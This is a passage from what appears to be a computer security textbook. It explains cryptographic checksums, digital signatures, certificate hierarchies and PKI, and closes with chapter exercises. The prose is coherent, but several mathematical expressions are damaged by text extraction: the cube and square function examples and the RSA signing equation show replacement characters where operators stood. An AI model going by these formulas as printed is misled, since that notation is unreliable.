As a first step in defeating Fagin, we have to prevent him from working backward from the digest value to see what possible inputs could have led to that result. For instance, some encryptions depend on a function that is easy to understand but difficult to com- pute. For a simple example, consider the cube function, y � x3. Computing x3 by hand, with pencil and paper, or with a calculator is not hard. But the inverse function, y3 , is much more difficult to compute. And the function y � x2 has no inverse function since there are two possibilities for y2 : �x and �x . Functions like these, which are much easier to compute than their inverses, are called one-way functions.

File Change Detection

A one-way function can be useful in creating a change detection algorithm. The func- tion must depend on all bits of the file being sealed, so any change to even a single bit will alter the checksum result. The checksum value is stored with the file. Then, each time someone accesses or uses the file, the system recomputes the checksum. If the computed checksum matches the stored value, the file is likely to be intact.

The one-way property guards against malicious modification: An attacker cannot “undo” the function to see what the original file was, so there is no simple way to find a set of changes that produce the same function value. (Otherwise, the attacker could find undetectable modifications that also have malicious impact.)

Tripwire [KIM98] is a utility program that performs integrity checking on files. With Tripwire a system administrator computes a hash of each file and stores these hash values somewhere secure, typically offline. Later the administrator reruns Tripwire and compares the new hash values with the earlier ones.

Section 2.3 Cryptography 113

Cryptographic Checksum

Malicious modification must be handled in a way that also prevents the attacker from modifying the error detection mechanism as well as the data bits themselves. One way to handle this is to use a technique that shrinks and transforms the data according to the value of the data bits.

A cryptographic checksum is a cryptographic function that produces a check- sum. It is a digest function using a cryptographic key that is presumably known only to the originator and the proper recipient of the data. The cryptography prevents the attacker from changing the data block (the plaintext) and also changing the checksum value (the ciphertext) to match. The attacker can certainly change the plaintext, but the attacker does not have a key with which to recompute the checksum. One example of a cryptographic checksum is to first employ any noncryptographic checksum function to derive an n-bit digest of the sensitive data. Then apply any symmetric encryption algorithm to the digest. Without the key the attacker cannot determine the checksum value that is hidden by the encryption. We present other cryptographic hash functions in Chapter 12.

Two major uses of cryptographic checksums are code-tamper protection and mes- sage-integrity protection in transit. Code tamper protection is implemented in the way we just described for detecting changes to files. Similarly, a checksum on data in com- munication identifies data that have been changed in transmission, maliciously or acci- dentally. The U.S. government defined the Secure Hash Standard or Algorithm (SHS or SHA), actually a collection of algorithms, for computing checksums. We examine SHA in Chapter 12.

Checksums are important countermeasures to detect modification. In this section we applied them to the problem of detecting malicious modification to programs stored on disk, but the same techniques are applicable to protecting against changes to data, as we show later in this book.

A strong cryptographic algorithm, such as for DES or AES, is especially appropriate for sealing values, since an outsider will not know the key and thus will not be able to modify the stored value to match with data being modified. For low-threat applications, algorithms even simpler than those of DES or AES can be used. In block encryption schemes, chaining means linking each block to the previous block’s value (and there- fore to all previous blocks), for example, by using an exclusive OR to combine the encrypted previous block with the current one. A file’s cryptographic checksum could be the last block of the chained encryption of a file because that block will depend on all other blocks. We describe chaining in more detail in Chapter 12.

As we see later in this chapter, these techniques address the non-alterability and non- reusability required in a digital signature. A change or reuse will probably be flagged by the checksum so the recipient can tell that something is amiss.


The most powerful technique to demonstrate authenticity is a digital signature. Like its counterpart on paper, a digital signature is a way by which a person or organization can affix a bit pattern to a file such that it implies confirmation, pertains to that file only,

114 Chapter 2 Toolbox: Authentication, Access Control, and Cryptography

cannot be forged, and demonstrates authenticity. We want a means by which one party can sign something and, as on paper, have the signature remain valid for days, months, years—indefinitely. Furthermore, the signature must convince all who access the file. Of course, as with most conditions involving digital methods, the caveat is that the assurance is limited by the assumed skill and energy of anyone who would try to defeat the assurance.

A digital signature often uses asymmetric or public key cryptography. As you just saw, a public key protocol is useful for exchange of cryptographic keys between two parties who have no other basis for trust. Unfortunately, the public key cryptographic protocols involve several sequences of messages and replies, which can be time con- suming if either party is not immediately available to reply to the latest request. It would be useful to have a technique by which one party could reliably precompute some pro- tocol steps and leave them in a safe place so that the protocol could be carried out even if only one party were active. This situation is similar to the difference between a bank teller and an ATM. You can obtain cash, make a deposit or payment, or check your balance because the bank has pre-established steps for an ATM to handle those simple activities 24 hours a day, even if the bank is not open. But if you need a certified check or foreign currency, you may need to interact directly with a bank agent.

In this section we define digital signatures and compare their properties to those of handwritten signatures on paper. We then describe the infrastructure surrounding digital signatures that lets them be recognizable and valid indefinitely.

Components and Characteristics of Signatures

A digital signature is just a binary object associated with a file. But if we want that sig- nature to have the force of a paper-based signature, we need to understand the properties of human signatures. Only then can we express requirements for our digital version.

Properties of Secure Paper-Based Signatures Consider a typical situation that parallels a common human need: an order to transfer funds from one person to another. In other words, we want to be able to send the elec- tronic equivalent of a computerized check. We understand the properties of this transac- tion for a conventional paper check:

• A check is a tangible object authorizing a financial transaction.

• The signature on the check confirms authenticity because (presumably) only the legitimate signer can produce that signature.

• In the case of an alleged forgery, a third party can be called in to judge authenticity.

• Once a check is cashed, it is canceled so that it cannot be reused.

• The paper check is not alterable. Or, most forms of alteration are easily detected.

Transacting business by check depends on tangible objects in a prescribed form. But tangible objects do not exist for transactions on computers. Therefore, authorizing pay- ments by computer requires a different model. Let us consider the requirements of such a situation, from the standpoint both of a bank and of a user.

Section 2.3 Cryptography 115

Properties of Digital Signatures Suppose Sheila sends her bank a message authorizing it to transfer $100 to Rob. Sheila’s bank must be able to verify and prove that the message really came from Sheila if she should later disavow sending the message. (This property is called non-repudiation.) The bank also wants to know that the message is entirely Sheila’s, that it has not been altered along the way. For her part, Sheila wants to be certain that her bank cannot forge such messages. (This property is called authenticity.) Both parties want to be sure that the message is new, not a reuse of a previous message, and that it has not been altered during transmission. Using electronic signals instead of paper complicates this process.

But we have ways to make the process work. A digital signature is a protocol that produces the same effect as a real signature: It is a mark that only the sender can make but that other people can easily recognize as belonging to the sender. Just like a real signature, a digital signature confirms agreement to a message.

A digital signature must meet two primary conditions:

• It must be unforgeable. If person S signs message M with signature Sig(S,M), no one else can produce the pair [M,Sig(S,M)].

• It must be authentic. If a person R receives the pair [M, Sig(S,M)] purportedly from S, R can check that the signature is really from S. Only S could have cre- ated this signature, and the signature is firmly attached to M.

These two requirements, shown in Figure 2-26, are the major hurdles in computer transactions. Two more properties, also drawn from parallels with the paper-based envi- ronment, are desirable for transactions completed with the aid of digital signatures:

• It is not alterable. After being transmitted, M cannot be changed by S, R, or an interceptor.

• It is not reusable. A previous message presented again will be instantly detected by R.

To see how digital signatures work, we first present a mechanism that meets the first two requirements. We then add to that solution to satisfy the other requirements. We develop digital signatures in pieces: first building a piece to address alterations, then describing a way to ensure authenticity, and finally developing a structure to establish identity. Eventually all these parts tie together in a conceptually simple framework.

Mark only the sender can make

Authentic Unforgeable

Mark fixed to


FIGURE 2-26 Digital Signature Requirements

116 Chapter 2 Toolbox: Authentication, Access Control, and Cryptography

We have just described the pieces for a digital signature: public key cryptography and secure message digests. These two pieces together are technically enough to make a digital signature, but they do not address authenticity. For that, we need a structure that binds a user’s identity and public key in a trustworthy way. Such a structure is called a certificate. Finally, we present an infrastructure for transmitting and validating certificates.

Public Keys for Signatures

Public key encryption systems are ideally suited to signing. For simple notation, let us assume that the public key encryption for user U is accessed through E(M,KU) and that the private key transformation for U is written as D(M,KU). We can think of E as the privacy transformation (since only U can decrypt it) and D as the authenticity transfor- mation (since only U can produce it). Remember, however, that under some asymmetric algorithms such as RSA, D and E are commutative and either one can be applied to any message. Thus,

D(E(M, KU), KU) � M � E(D(M, KU), KU)

If S wishes to send M to R, S uses the authenticity transformation to produce D(M, KS). S then sends D(M, KS) to R. R decodes the message with the public key trans- formation of S, computing E(D(M, KS), KS) � M. Since only S can create a message that makes sense under E(�,KS), the message must genuinely have come from S. This test satisfies the authenticity requirement.

R will save D(M, KS). If S should later allege that the message is a forgery (not really from S), R can simply show M and D(M, KS). Anyone can verify that since D(M, KS) is transformed to M with the public key transformation of S—but only S could have produced D(M, KS)—then D(M, KS) must be from S. This test satisfies the unforgeable requirement.

There are other approaches to signing; some use symmetric encryption, others use asymmetric. The approach shown here illustrates how the protocol can address the requirements for unforgeability and authenticity. To add secrecy, S applies E(M, KR) as shown in Figure 2-27.

These pieces, a hash function, public key cryptography, and a protocol, give us the technical pieces of a digital signature. However, we also need one nontechnical

Signed D(M, KS)

Encrypted for confidentiality

E(M, KR)



FIGURE 2-27 Use of Two Keys in an Asymmetric Digital Signature

Section 2.3 Cryptography 117

component. Our signer S can certainly perform the protocol to produce a digital sig- nature, and anyone who has S’s public key can determine that the signature did come from S. But who is S? We have no reliable way to associate a particular human with that public key. Even if someone says “this public key belongs to S,” on what basis do we believe that assertion? Remember the man-in-the-middle attack earlier in this chapter when Amy and Bill wanted to establish a shared secret key? Next we explore how to create a trustworthy binding between a public key and an identity.


A central issue of digital commerce is trust: How do you know that a Microsoft web page really belongs to Microsoft, for example? This section is less about technology and more about the human aspects of trust, because that confidence underpins the whole concept of a digital signature.

In real life you may trust a close friend in ways you would not trust a new acquain- tance. Over time your trust in someone may grow with your experience but can plum- met if the person betrays you. You try out a person, and, depending on the outcome, you increase or decrease your degree of trust. These experiences build a personal trust framework.

Web pages can be replaced and faked without warning. To some extent, you assume a page is authentic if nothing seems unusual, if the content on the site seems credible or at least plausible, and if you are not using the site for critical decisions. If the site is that of your bank, you may verify that the URL looks authentic. Some sites, especially those of financial institutions, have started letting each customer pick a security image, for example, a hot red sports car or an iconic landmark; users are warned to enter sensitive information only if they see the personal image they previously chose.

In a commercial setting, certain kinds of institutions connote trust. You may trust (the officials at) certain educational, religious, or social organizations. Big, well-established companies such as banks, insurance companies, hospitals, and major manufacturers have developed a measure of trust. Age of an institution also inspires trust. Indeed, trust is the basis for the notion of branding, in which you trust something’s quality because you know the brand. As you will see shortly, trust in such recognized entities is an important component in digital signatures.

Establishing Trust Between People

As humans we establish trust all the time in our daily interactions with people. We identify people we know by recognizing their voices, faces, or handwriting. At other times, we use an affiliation to convey trust. For instance, if a stranger telephones us and we hear, “I represent the local government . . .” or “I am calling on behalf of this char- ity . . .” or “I am calling from the school/hospital/police about your mother/father/son/ daughter/brother/sister . . . ,” we may decide to trust the caller even if we do not know him or her. Depending on the nature of the call, we may decide to believe the caller’s affiliation or to seek independent verification. For example, we may obtain the affili- ation’s number from the telephone directory and call the party back. Or we may seek additional information from the caller, such as “What color jacket was she wearing?” or

118 Chapter 2 Toolbox: Authentication, Access Control, and Cryptography

“Who is the president of your organization?” If we have a low degree of trust, we may even act to exclude an outsider, as in “I will mail a check directly to your charity rather than give you my credit card number.”

For each of these interactions, we have what we might call a “trust threshold,” a degree to which we are willing to believe an unidentified individual. This threshold exists in commercial interactions, too. When Acorn Manufacturing Company sends Big Steel Company an order for 10,000 sheets of steel, to be shipped within a week and paid for within ten days, trust abounds. The order is printed on an Acorn form, signed by someone identified as Helene Smudge, Purchasing Agent. Big Steel may begin prepar- ing the steel even before receiving money from Acorn. Big Steel may check Acorn’s credit rating to decide whether to ship the order without payment first. If suspicious, Big Steel might telephone Acorn and ask to speak to Ms. Smudge in the purchasing department. But more likely Big Steel will actually ship the goods without knowing who Ms. Smudge is, whether she is actually the purchasing agent, whether she is autho- rized to commit to an order of that size, or even whether the signature is actually hers. Sometimes a transaction like this occurs by fax, so that Big Steel does not even have an original signature on file. In cases like this one, which occur daily, trust is based on appearance of authenticity (such as a printed, signed form), outside information (such as a credit report), and urgency (Acorn’s request that the steel be shipped quickly).

Establishing Trust Electronically

For electronic communication to succeed, we must develop similar ways for two parties to establish trust without having met. A common thread in our personal and business interactions is the ability to have someone or something vouch for the existence and integrity of one or both parties. The police, the Chamber of Commerce, or the Better Business Bureau vouches for the authenticity of a caller. Acorn indirectly vouches for the fact that Ms. Smudge is its purchasing agent by transferring the call to her in the purchasing department when Big Steel calls for her. In a sense, the telephone company vouches for the authenticity of a party by listing someone in the directory. This concept of “vouching for” by a third party can be a basis for trust in commercial settings where two parties do not know each other.

The trust issue we need to address for digital signatures is authenticity of the public key. If Monique signs a document with her private key, anyone else can decrypt the signature with her public key to verify that only Monique could have signed it. The only problem is being able to obtain Monique’s public key in a way in which we can adequately trust that the key really belongs to her, that is, that the key was not circulated by some evil actor impersonating Monique. In the next section we present a trustworthy means to bind a public key with an identity.

Trust Based On a Common Respected Individual

A large company may have several divisions, each division may have several depart- ments, each department may have several projects, and each project may have several task groups (with variations in the names, the number of levels, and the degree of com- pleteness of the hierarchy). The top executive may not know by name or sight every

Section 2.3 Cryptography 119

employee in the company, but a task group leader knows all members of the task group, the project leader knows all task group leaders, and so on. This hierarchy can become the basis for trust throughout the organization.

To see how, suppose two people meet: Ann and Andrew. Andrew says he works for the same company as Ann. Ann wants independent verification that he does. She finds out that Bill and Betty are two task group leaders for the same project (led by Camilla); Ann works for Bill and Andrew for Betty. (The organizational relationships are shown in Figure 2-28.) These facts give Ann and Andrew a basis for trusting each other’s iden- tity. The chain of verification might be something like this:

• Ann asks Bill who Andrew is.

• Bill either asks Betty, if he knows her directly, and if not, he asks Camilla.

• (If asked, Camilla then asks Betty.)

• Betty replies to Camilla or Bill that Andrew works for her.

• (Camilla tells Bill, if she was involved.)

• Bill tells Ann.

If Andrew is in a different task group, it may be necessary to go higher in the organi- zational tree before a common point is found.

We can use a similar process for cryptographic key exchange, as shown in Fig- ure 2-29. If Andrew and Ann want to communicate, Andrew can give his public key to Betty, who passes it to Camilla, then Bill, or directly to Bill, who gives it to Ann. But this sequence is not exactly the way it would work in real life. The key would probably be accompanied by a note saying it is from Andrew, ranging from a bit of yellow paper to a form 947 Statement of Identity. And if a form 947 is used, then Betty would also have to attach a form 632a Transmittal of Identity, Camilla would attach another 632a, and Bill would attach a final one, as shown in Figure 2-29. This chain of forms 632a would say, in essence, “I am Betty and I received this key and the attached statement of identity personally from a person I know to be Andrew,” “I am Camilla and I received this key and the attached statement of identity and the attached transmittal of identity personally from a person I know to be Betty,” and so forth. When Ann receives the key, she can review the chain of evidence and conclude with reasonable assurance that the key really did come from Andrew. This protocol is a way of obtaining authenticated public keys, a binding of a key and a reliable identity.






FIGURE 2-28 Trust Relationships

120 Chapter 2 Toolbox: Authentication, Access Control, and Cryptography

This model works well within a company because there is always someone common to any two employees, even if the two employees are in different divisions so that the only common person is the president. The process bogs down, however, if Ann, Bill, Camilla, Betty, and Andrew all have to be available whenever Ann and Andrew want to communicate. If Betty is away on a business trip or Bill is off sick, the protocol falters. It also does not work well if the president cannot get any meaningful work done because every day is occupied with handling forms 632a.

To address the first of these problems, Andrew can ask for his complete chain of forms 632a from the president down to him. Andrew can then give a copy of this full set to anyone in the company who wants his key. Instead of working from the bottom up to a common point, Andrew starts at the top and documents his full chain. He gets these signatures any time his superiors are available, so they do not need to be available when he wants to give away his authenticated public key.

We can resolve the second problem by reversing the process. Instead of starting at the bottom (with task members) and working to the top of the tree (the president), we start at the top. Andrew thus has a preauthenticated public key for unlimited use in the future. Suppose the expanded structure of our hypothetical company, showing the presi- dent and other levels, is as illustrated in Figure 2-30.

The president creates a letter for each division manager saying “I am Edward, the president, I attest to the identity of division manager Diana, whom I know personally, and I trust Diana to attest to the identities of her subordinates.” Each division manager does similarly, copying the president’s letter with each letter the manager creates, and so on. Andrew receives a packet of letters, from the president down through his task group leader, each letter linked by name to the next. If every employee in the com- pany receives such a packet, any two employees who want to exchange authenticated keys need only compare each other’s packets; both packets will have at least Edward in common, perhaps some other managers below Edward, and at some point will deviate. Andrew and Ann, for example, could compare their chains, determine that they were the same through Camilla, and trace just from Camilla down. Andrew knows the chain from Edward to Camilla is authentic because it is identical to his chain, and Ann knows the



Andrew Ann

BillBetty’s 632a

Camilla’s 632a

Betty’s 632a

Camilla’s 632a

Betty’s 632a

Bill’s 632a

FIGURE 2-29 Key Relationships in a Certificate

Section 2.3 Cryptography 121

same. Each knows the rest of the chain is accurate because it follows an unbroken line of names and signatures.

Certificates: Trustable Identities and Public Keys

You may have concluded that this process works, but it is far too cumbersome to apply in real life; perhaps you have surmised that we are building a system for computers. This protocol is represented more easily electronically than on paper. With paper, peo- ple must guard against forgeries, to prevent part of one chain from being replaced and to ensure that the public key at the bottom is bound to the chain. The whole thing can be done electronically with digital signatures and hash functions. Kohnfelder [KOH78] seems to be the originator of the concept of using an electronic certificate with a chain of authenticators; Merkle’s paper [MER80] expands the concept.

Division Mgr

Charles Group Leader

Ann Worker

Bill Task Leader

Andrew Worker

Betty Task Leader

Camilla Group Leader

Mukesh Project Manager

Mary Project Manager

Debbie Department Mgr

Delwyn Department Mgr

Diana Division Mgr Division Mgr

Edward President

FIGURE 2-30 Delegation of Trust

122 Chapter 2 Toolbox: Authentication, Access Control, and Cryptography

A public key and user’s identity are bound together in a certificate, which is then signed by someone called a certificate authority, certifying the accuracy of the bind- ing. In our example, the company might set up a certificate scheme in the following way. First, Edward selects a public key pair, posts the public part where everyone in the company can retrieve it, and retains the private part. Then, each division manager, such as Diana, creates her public key pair, puts the public key in a message together with her identity, and passes the message securely to Edward. Edward signs it by creating a hash value of the message and then encrypting the hash with his private key. By signing the message, Edward affirms that the public key (Diana’s) and the identity (also Diana’s) in the message are for the same person. This message is called Diana’s certificate.

All of Diana’s department managers create messages with their public keys, Diana hashes and signs each, and returns them. She also appends to each a copy of the certifi- cate she received from Edward. In this way, anyone can verify a manager’s certificate by starting with Edward’s well-known public key, decrypting Diana’s certificate to retrieve her public key (and identity), and using Diana’s public key to decrypt the manager’s certificate. Figure 2-31 shows how certificates are created for Diana and one of her managers, Delwyn. This process continues down the hierarchy to Ann and Andrew. As shown in Figure 2-32, Andrew’s certificate is really his individual certificate combined with all certificates for those above him in the line to the president.

Name: Diana Position: Division Manager Public key: 17EF83CA ...

Diana creates and delivers to Edward:

Edward adds:

Edward signs with his private key:

Name: Diana Position: Division Manager Public key: 17EF83CA ...

hash value 128C4

Name: Diana Position: Division Manager Public key: 17EF83CA ...

hash value 128C4

Which is Diana’s ce rtificate.

Name: Delwyn Position: Dept Manager Public key: 3AB3882C ...

Delwyn creates and delivers to Diana:

Diana adds:

Diana signs with her private key:

Name: Delwyn Position: Dept Manager Public key: 3AB3882C ...

hash value 48CFA

And appends her certificate:

Which is Delwyn’s certificate.

Name: Diana Position: Division Manager Public key: 17EF83CA ...

hash value 128C4

To create Diana’s certificate: To create Delwyn’s certificate:

Name: Delwyn Position: Dept Manager Public key: 3AB3882C ...

hash value 48CFA

Name: Delwyn Position: Dept Manager Public key: 3AB3882C ...

hash value 48CFA

FIGURE 2-31 Creating Certificates

Section 2.3 Cryptography 123

Certificate Signing Without a Single Hierarchy

In our examples, certificates were issued on the basis of the managerial structure. But we do not require such a structure nor do we have to follow such a convoluted process in order to use certificate signing for authentication. Anyone who is considered acceptable as an authority can sign a certificate. For example, if you want to determine whether a person received a degree from a university, you would not contact the president or chancellor but would instead go to the office of records or the registrar. To verify someone’s employ- ment, you might ask the personnel office or the director of human resources. And to check if someone lives at a particular address, you might consult the office of public records.

Sometimes, a particular person is designated to attest to the authenticity or validity of a document or person. For example, a notary public attests to the validity of a (writ- ten) signature on a document. Some companies have a security officer to verify that an employee has appropriate security clearances to read a document or attend a meet- ing. Many companies have a separate personnel office for each site or each plant loca- tion; the personnel officer vouches for the employment status of the employees at that site. Any of these officers or heads of offices could credibly sign certificates for people under their purview. Natural hierarchies exist in society, and these same hierarchies can be used to validate certificates.

The only problem with a hierarchy is the need for trust of the top level. The entire chain of authenticity is secure because each certificate contains the key that decrypts the next certificate, except for the top. Within a company, employees naturally trust the person at the top. But if certificates are to become widely used in electronic commerce, people must be able to exchange certificates securely across companies, organizations, and countries.

Name: Diana Position: Division Manager Public key: 17EF83CA ...

hash value 128C4

Name: Delwyn Position: Dept Manager Public key: 3AB3882C ...

hash value 48CFA

Name: Mukesh Position: Project Manager Public key: 47F0F008 ...

hash value 16802

Name: Camilla Position: Group Leader Public key: 44082CCA ...

hash value 12346

Name: Betty Position: Task Leader Public key: 2468ACE0 ...

hash value 00002

Name: Andrew Position: Worker Public key: 7013F82A ...

hash value 60206

Encrypted under Betty’s private key

Encrypted under Edward’s private key

Encrypted under Camilla’s private key

Encrypted under Mukesh’s private key

Encrypted under Delwyn’s private key

Encrypted under Diana’s private key

Key to encryptions

FIGURE 2-32 Certificate Hierarchy

124 Chapter 2 Toolbox: Authentication, Access Control, and Cryptography

The Internet is a large federation of networks for interpersonal, intercompany, inter- organizational, and international (as well as intracompany, intraorganizational, and intranational) communication. It is not a part of any government, nor is it a privately owned company. It is governed by a board called the Internet Society. The Internet Soci- ety has power only because its members, the governments and companies that make up the Internet, agree to work together. But there really is no “top” for the Internet. Dif- ferent companies, such as C&W HKT, SecureNet, VeriSign, Baltimore Technologies, Deutsche Telecom, Societá Interbancaria per l’Automatzione di Milano, Entrust, and Certiposte are root certification authorities, which means each is a highest authority that signs certificates. So, instead of one root and one top, there are many roots, largely structured around national boundaries.

Distributing Keys and Certificates

Earlier in this chapter we introduced several approaches to key distribution, ranging from direct exchange to distribution through a central distribution facility to certified advance distribution. But no matter what approach is taken to key distribution, each has its advantages and disadvantages. Points to keep in mind about any key distribution protocol include the following:

• What operational restrictions are there? For example, does the protocol require a continuously available facility, such as the key distribution center?

• What trust requirements are there? Who and what entities must be trusted to act properly?

• What is the protection against failure? Can an outsider impersonate any of the entities in the protocol and subvert security? Can any party of the protocol cheat without detection?

• How efficient is the protocol? A protocol requiring several steps to establish an encryption key that will be used many times is one thing; it is quite another to go through several time-consuming steps for a one-time use.

• How easy is the protocol to implement? Notice that complexity in computer implementation may be different from manual use.

Digital Signatures—All the Pieces

Putting these pieces together we can now outline a complete digital signature scheme. Assume user S wants to apply a digital signature to a file (or other data object), meeting the four objectives of a digital signature: unforgeable, authentic, unalterable, and not reusable.

A digital signature consists of

• a file

• demonstration that the file has not been altered

• indication of who applied the signature

• validation that the signature is authentic, that is, that it belongs to the signer

• connection of the signature to the file

Section 2.3 Cryptography 125

With these five components we can construct a digital signature. We start with the file. If we use a secure hash code of the file to compute a message

digest and include that hash code in the signature, the code demonstrates that the file has not been changed. A recipient of the signed file can recompute the hash function and, if the hash values match, conclude with reasonable trust that the received file is the same one that was signed. So far, our digital signature looks like the object in Figure 2-33.

Encrypted for authenticity


Hash function

Message digest

FIGURE 2-33 Hash Code to Detect Changes

Encrypted for authenticity

Message digest


FIGURE 2-34 Encryption to Show Authenticity

Next, we apply the signer’s private encryption key to encrypt the message digest. Because only the signer knows that key, the signer is the only one who could have applied it. Now the signed object looks like Figure 2-34.

126 Chapter 2 Toolbox: Authentication, Access Control, and Cryptography

Encrypted for authenticity

Message digest Signer


FIGURE 2-35 Indication of Signer

The only other piece to add is an indication of who the signer was, so that the receiver knows which public key to use to unlock the encryption, as shown in Figure 2-35. The signer’s identity has to be outside the encryption because if it were inside, the identity could not be extracted.

Two extra flourishes remain to be added. First, depending on the file’s size, this object can be large, and asymmetric encryption is slow, not suited to encrypting large things. However, S’s authenticating encryption needs to cover only the secure hash code, not the entire file itself. If the file were modified, it would no longer match the hash code, so the recipient would know not to trust the object as authentic from S. And if the hash code were broken off and attached to a different file, it would not match there, either. So for efficiency we need encrypt only the hash value with S’s private key, as shown in Figure 2-36.

Second, the file, the data portion of the object, is exposed for anyone to read. If S wants confidentiality, that is, so that only one recipient can see the file contents, S can select a symmetric encryption key, encrypt the file, and store the key under user U’s asymmetric public encryption key. This final addition is shown in Figure 2-37.

In conclusion, a digital signature can indicate the authenticity of a file, especially a piece of code. When you attempt to install a piece of signed code, the operating sys- tem will inspect the certificate and file and notify you if the certificate and hash are not acceptable. Digital signatures, coupled with strong hash functions and symmetric

Encrypted for authenticity

Message digest Signer



FIGURE 2-36 Asymmetric Encryption Covering the Hash Value

Encrypted for confidentiality

Encrypted for authenticity

Message digest Signer

E(M, Sym)



FIGURE 2-37 Digitally Signed Object Protected for Both Integrity and Confidentiality

Section 2.4 Exercises 127

encryption, are an effective way to ensure that a file is precisely what the originator stored for download.

This description of digital signatures concludes our section on tools from cryptogra- phy. We summarize the tools in Table 2-15. In this section we have introduced important pieces we call upon later in this book.

Our point in this chapter is not to train a new corps of cryptographers or cryptolo- gists; to do that would require far more material than this book can contain. Rather, we want you to know and understand the basic concepts of cryptography so in later chapters you can appreciate the difficulty, strengths, and weaknesses of, for example, securing a wireless network signal or establishing a protected communication between a browser user and a website.

In the next chapter we put the three tools of this chapter to use in dealing with secu- rity problems in programs and programming.


1. Describe each of the following four kinds of access control mechanisms in terms of (a) ease of determining authorized access during execution, (b) ease of adding access for a new sub- ject, (c) ease of deleting access by a subject, and (d) ease of creating a new object to which all subjects by default have access.

• per-subject access control list (that is, one list for each subject tells all the objects to which that subject has access)

TABLE 2-15 Tools Derived from Cryptography

Tool Uses

Secret key (symmetric) encryption

Protecting confidentiality and integrity of data at rest or in transit

Public key (asymmetric) encryption

Exchanging (symmetric) encryption keys Signing data to show authenticity and proof of origin

Error detection codes Detect changes in data

Hash codes and functions (forms of error detection codes)

Detect changes in data

Cryptographic hash functions Detect changes in data, using a function that only the data owner can compute (so an outsider cannot change both data and the hash code result to conceal the fact of the change)

Error correction codes Detect and repair errors in data

Digital signatures Attest to the authenticity of data

Digital certificates Allow parties to exchange cryptographic keys with confidence of the identities of both parties

128 Chapter 2 Toolbox: Authentication, Access Control, and Cryptography

• per-object access control list (that is, one list for each object tells all the subjects who have access to that object)

• access control matrix • capability

2. Suppose a per-subject access control list is used. Deleting an object in such a system is incon- venient because all changes must be made to the control lists of all subjects who did have access to the object. Suggest an alternative, less costly means of handling deletion.

3. File access control relates largely to the secrecy dimension of security. What is the relation- ship between an access control matrix and the integrity of the objects to which access is being controlled?

4. One feature of a capability-based protection system is the ability of one process to transfer a copy of a capability to another process. Describe a situation in which one process should be able to transfer a capability to another.

5. Suggest an efficient scheme for maintaining a per-user protection scheme. That is, the system maintains one directory per user, and that directory lists all the objects to which the user is allowed access. Your design should address the needs of a system with 1000 users, of whom no more than 20 are active at any time. Each user has an average of 200 permitted objects; there are 50,000 total objects in the system.

6. Calculate the timing of password-guessing attacks:

(a) If passwords are three uppercase alphabetic characters long, how much time would it take to determine a particular password, assuming that testing an individual password requires 5 seconds? How much time if testing requires 0.001 seconds?

(b) Argue for a particular amount of time as the starting point for “secure.” That is, suppose an attacker plans to use a brute-force attack to determine a password. For what value of x (the total amount of time to try as many passwords as necessary) would the attacker find this attack prohibitively long?

(c) If the cutoff between “insecure” and “secure” were x amount of time, how long would a secure password have to be? State and justify your assumptions regarding the character set from which the password is selected and the amount of time required to test a single password.

7. Design a protocol by which two mutually suspicious parties can authenticate each other. Your protocol should be usable the first time these parties try to authenticate each other.

8. List three reasons people might be reluctant to use biometrics for authentication. Can you think of ways to counter those objections?

9. False positive and false negative rates can be adjusted, and they are often complementary: Lowering one raises the other. List two situations in which false negatives are significantly more serious than false positives.

10. In a typical office, biometric authentication might be used to control access to employees and registered visitors only. We know the system will have some false negatives, some employees falsely denied access, so we need a human override, someone who can examine the employee and allow access in spite of the failed authentication. Thus, we need a human guard at the door to handle problems, as well as the authentication device; without biometrics we would have had just the guard. Consequently, we have the same number of personnel with or with- out biometrics, plus we have the added cost to acquire and maintain the biometrics system. Explain the security advantage in this situation that justifies the extra expense.

Section 2.4 Exercises 129

11. Outline the design of an authentication scheme that “learns.” The authentication scheme would start with certain primitive information about a user, such as name and password. As the use of the computing system continued, the authentication system would gather such information as commonly used programming languages; dates, times, and lengths of comput- ing sessions; and use of distinctive resources. The authentication challenges would become more individualized as the system learned more information about the user.

• Your design should include a list of many pieces of information about a user that the system could collect. It is permissible for the system to ask an authenticated user for certain additional information, such as a favorite book, to use in subsequent challenges.

• Your design should also consider the problem of presenting and validating these chal- lenges: Does the would-be user answer a true-false or a multiple-choice question? Does the system interpret natural language prose?

12. How are passwords stored on your personal computer?

13. Describe a situation in which a weak but easy-to-use password may be adequate.

14. List three authentication questions (but not the answers) your credit card company could ask to authenticate you over the phone. Your questions should be ones to which an imposter could not readily obtain the answers. How difficult would it be for you to provide the correct answer (for example, you would have to look something up or you would have to do a quick arithmetical calculation)?

15. If you forget your password for a website and you click [Forgot my password], sometimes the company sends you a new password by email but sometimes it sends you your old pass- word by email. Compare these two cases in terms of vulnerability of the website owner.

16. Defeating authentication follows the method–opportunity–motive paradigm described in Chapter 1. Discuss how these three factors apply to an attack on authentication.

17. Suggest a source of some very long unpredictable numbers. Your source must be something that both the sender and receiver can readily access but that is not obvious to outsiders and not transmitted directly from sender to receiver.

18. What are the risks of having the United States government select a cryptosystem for wide- spread commercial use (both inside and outside the United States). How could users from outside the United States overcome some or all of these risks?

19. If the useful life of DES was about 20 years (1977–1999), how long do you predict the useful life of AES will be? Justify your answer.

20. Humans are said to be the weakest link in any security system. Give an example for each of the following:

(a) a situation in which human failure could lead to a compromise of encrypted data (b) a situation in which human failure could lead to a compromise of identification and

authentication (c) a situation in which human failure could lead to a compromise of access control

21. Why do cryptologists recommend changing the encryption key from time to time? Is it the same reason security experts recommend changing a password from time to time? How can one determine how frequently to change keys or passwords?

22. Explain why hash collisions occur. That is, why must there always be two different plaintexts that have the same hash value?

130 Chapter 2 Toolbox: Authentication, Access Control, and Cryptography

23. What property of a hash function means that collisions are not a security problem? That is, why can an attacker not capitalize on collisions and change the underlying plaintext to another form whose value collides with the hash value of the original plaintext?

24. Does a PKI perform encryption? Explain your answer.

25. Does a PKI use symmetric or asymmetric encryption? Explain your answer.

26. Should a PKI be supported on a firewall (meaning that the certificates would be stored on the firewall and the firewall would distribute certificates on demand)? Explain your answer.

27. Why does a PKI need a means to cancel or invalidate certificates? Why is it not sufficient for the PKI to stop distributing a certificate after it becomes invalid?

28. Some people think the certificate authority for a PKI should be the government, but others think certificate authorities should be private entities, such as banks, corporations, or schools. What are the advantages and disadvantages of each approach?

29. If you live in country A and receive a certificate signed by a government certificate authority in country B, what conditions would cause you to trust that signature as authentic?

30. A certificate contains an identity, a public key, and signatures attesting that the public key belongs to the identity. Other fields that may be present include the organization (for exam- ple, university, company, or government) to which that identity belongs and perhaps subor- ganizations (college, department, program, branch, office). What security purpose do these other fields serve, if any? Explain your answer.


In this chapter:

